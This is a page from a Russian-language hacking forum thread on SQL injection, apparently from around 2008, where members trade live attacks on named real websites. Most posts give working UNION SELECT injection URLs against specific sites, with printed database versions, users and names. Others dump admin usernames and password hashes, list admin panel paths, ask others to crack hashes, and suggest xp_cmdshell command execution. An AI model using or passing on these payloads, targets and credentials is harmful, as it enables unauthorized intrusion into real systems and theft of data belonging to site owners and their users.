SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    наткнулся на:
    Code:
    http://line.kz/reviews/?cat=13&id=www.site.com/view.asp?id=-1+union+select+1,2,3,4,5,6,7,8--
    выдает
    Microsoft OLE DB Provider for SQL Server ошибка '80040e10'

    дошел до
    Code:
    http://line.kz/reviews/?cat=13&id=www.site.com/view.asp?id=-1+union+select+1,2,3,4,5,6,7,8*+from+msysobjects+in+'.'
    выдал : Îòñóòñòâóåò çíà÷åíèå äëÿ îäíîãî èëè íåñêîëüêèõ òðåáóåìûõ ïàðàìåòðîâ.

    может еще кто глубже капнет? а то интересно, че там в конце тунеля! )))
     
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Gemini12, тут нет скули!
     
  3. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Серьёзно? А что там есть? :)

    https://forum.antichat.ru/showpost.php?p=1024180&postcount=4430
     
    4 people like this.
  4. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Пр0kуратуpa Пермск0го Края ;)

    http://www.prokuror.perm.ru/posts?id=-1+union+select+1,2,3,version(),5,DATABASE(),7,8,9--+

    information_schema закрыта, или ее тупо нет, ибо версия 4, таблу с админами так и не нашел, админка в /admin/
     
    #7204 prescott, 30 Dec 2008
    Last edited: 30 Dec 2008
  5. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Legis.krsn.ru - PR5 ~1.3к
    4 ветка..

    Arabwestreport.info - PR5 ~1.3к
    /webmanager

    Co.dona-ana.nm.us - PR5 ~1.3к
    Rockportartcenter.com - PR4 ~0.7к
     
    #7205 sabe, 30 Dec 2008
    Last edited: 30 Dec 2008
  6. vladvk

    vladvk New Member

    Joined:
    22 Dec 2008
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    http://carepa.org/detail.php?uid=-53+union+select+1,2,3,4,5--
    Не могу раскрутить, через order by показывает что там от 1 до 5 колонок но постоянно ошибка вылазит
     
  7. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Это значит скорее всего что параметр используется больше, чем в одном запросе, первый запрос прокатывает с 5 полями, второй выдает ошибку. В таких случаях или перебор, или ищи другой инъект. (Инъект не приходит в одиночку =)

    например вот нормальная инъекция с этого сайта

    Code:
    http://carepa.org/mixers.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,0,1--+
    UPD: данные админа
    Code:
    http://carepa.org/mixers.php?id=-1+union+select+1,username,3,4,5,6,7,8,9,0,password+from+rc_admin--+
    
    http://carepa.org/admin/
    admin
    $1$.y3.ta3.$Jk5.iyx3OT9IZlhJ8CKQy/

    КТо скажет что за хэш?
     
    #7207 prescott, 31 Dec 2008
    Last edited: 31 Dec 2008
    2 people like this.
  8. lexus5122

    lexus5122 New Member

    Joined:
    16 Mar 2007
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    Помогите пожалуйста достать админ пасс и лог в ПМ => дам адресс админки
     
  9. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    http://ishare.rediff.com/music_category.php?id=-40+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a3a,version(),user(),database())--

    5.1.30-log
    [email protected]
    imusic



    http://www.fitnesstogether.com/news_view.php?id=-40+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database())--

    5.0.27-community-nt
    admin_suite_user@localhost
    admin_suite

    http://www.carli.illinois.edu/reports/prodvett/indiv_prop.php?id=-40+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database()),8,9,10,11,12,13,14,15,16/*


    5.0.38-Ubuntu_0ubuntu1.4-log
    signupsuper@localhost
    suggest

    http://www.herpconstrust.org.uk/gallery/pic.php?id=21+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7/*

    4.1.19-standard-log
    herpconstrust@localhost
    herpconstrust

    http://www.awards-world.com/art.php?id_article=-22+union+select+1,2,3,user(),5,6,7,8,9--&id_page=21

    awardswo_admin@localhost
    4.1.22-standard-log
    awardswo_AWARDSWORLD

    Всех с наступающим!
     
    1 person likes this.
  10. vladvk

    vladvk New Member

    Joined:
    22 Dec 2008
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    Вытащил таблицу с колонками а он пишет:
    cms_users:email
    cms_users:password
    cms_users:username
     
  11. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Пройдёмся по магазинчикам!

    http://shopping.sify.com/shopping/category.php?pid=20282+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4/*&?vsv=MALLHPBOOKS

    Database Version: 5.0.45-log
    Database name: cms
    User name: [email protected]

    http://www.cafegadgets.com/advanced_search_result.php?keywords=d2&search_in_description=1&categories_id=&inc_subcat=1&manufacturers_id=-94+union+select+concat_ws(0x3a3a,version(),user(),database())--

    5.0.67-community-log
    cafe_cafe@localhost
    cafe_cafeindia Webstore
     
  12. Octave_Parango

    Joined:
    6 Nov 2008
    Messages:
    83
    Likes Received:
    11
    Reputations:
    -1
    vladvk,
    Правильно так:
     
  13. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    Code:
    http://line.kz/reviews/?cat=13&id=1+or+1=(SELECT+TOP+1+id+FROM+vacancy)--
    Кто дальше сможет? ))
     
  14. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.amazingsportsphotos.com/shop/insertorder.cfm?CFID=3371&CFTOKEN=53570656+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
    5.0.67-community-nt-log
    Code:
    http://www.appointmentsatfive.com/insertorder.cfm?CFID=102&CFTOKEN=94729224+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    5.0.67-community-nt-log
    ;)
     
    _________________________
    3 people like this.
  15. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0


    Code:
    http://shopping.sify.com/shopping/category.php?pid=20282+union+select+1,2,concat_ws(0x3a,userid,Name,Password,Email,Tel_Off,Tel_Res,Mobile,Enable,Creation_Date,Last_Mod_Date),4+from+User_Master+where+id='1'--
    admin:F1A61D77BD363820BCAB7093B433360876BDDC34

    хэш в пм плз, зарание спс :D
    Да, и еще, кто админку нашел?
     
    #7215 Gemini12, 31 Dec 2008
    Last edited: 31 Dec 2008
  16. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Дальше смотришь все таблицы в information_schema.
    Чтобы дальше смотреть используем NOT+IN
    Ну и так дальше.
     
  17. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    умный да? я это уже использовал, как думаешь я дошел до 'vacancy'...
     
  18. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    system_user "sa",значит дальше можно попробывать выполнить команды,xp_cmdshell итд
     
    1 person likes this.
  19. Gemini12

    Gemini12 Member

    Joined:
    24 Dec 2008
    Messages:
    58
    Likes Received:
    5
    Reputations:
    0
    А прав хватит?
     
  20. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    "Дайвинг-клуб Мегадайв"

    Code:
    http://megadive.ru/index.php?p=5&ti=-1+union+select+1,2,3,version(),5,6,7,8,9,10--
     
Thread Status:
Not open for further replies.